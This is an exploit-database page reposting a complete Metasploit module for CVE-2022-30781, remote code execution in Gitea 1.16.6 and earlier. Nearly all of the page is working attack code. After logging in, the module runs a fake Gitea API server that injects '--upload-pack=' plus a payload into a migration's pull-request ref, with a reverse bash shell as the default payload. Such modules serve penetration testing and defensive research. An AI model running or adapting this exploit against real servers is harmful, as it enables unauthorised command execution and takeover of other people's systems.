Advertisement






Gitea 1.16.6 Remote Code Execution

CVE Category Price Severity
CVE-2022-30781 CWE-119 $10,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2022-09-15
CVSS EPSS EPSSP
CVSS:9.8/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022090040

Below is a copy:

Gitea 1.16.6 Remote Code Execution
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Fetch Remote Code Execution',
        'Description' => %q{
          This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.
        },
        'Author' => [
          'wuhan005 & li4n0', # Original PoC
          'krastanoel'        # MSF Module
        ],
        'References' => [
          ['CVE', '2022-30781'],
          ['URL', 'https://tttang.com/archive/1607/']
        ],
        'DisclosureDate' => '2022-05-16',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix win],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'vars_post' => {
        'user_name' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302

    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{match[:version]}")
    end

    CheckCode::Safe("Version detected: #{match[:version]}")
  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources

    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
  end

  def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
  end

  def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
  end

  def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'action' => 'delete',
        'repo_name' => name,
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
  end

  def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'auto_init' => 'on',
        'readme' => 'Default',
        'repo_name' => @repo_name,
        'trust_model' => 'default',
        'default_branch' => 'master',
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def gitea_migrate_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
      'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri

    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'service' => svc_type,
        'pull_requests' => 'on',
        'repo_name' => @migrate_repo_name,
        '_csrf' => get_csrf(res.get_cookies),
        'auth_token' => rand_text_alphanumeric(6..15),
        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
      },
      'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
      gitea_remove_repo(@repo_name)
      cleanup
      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
      send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
      data = {
        'max_response_items':50,'default_paging_num':30,
        'default_git_trees_per_page':1000,'default_max_blob_size':10485760
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
      data = {
        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
        "owner": { "login": datastore['username'] }
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
      send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      data = [
        {
          "base": {
            "ref": "master",
          },
          "head": {
            "ref": "--upload-pack=#{payload.encoded}",
            "repo": {
              "clone_url": "./",
              "owner": { "login": "master" },
            }
          },
          "updated_at": "2001-01-01T05:00:00+01:00",
          "user": {}
        }
      ]
      send_response(cli, data.to_json)
    end
  end
end
            

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum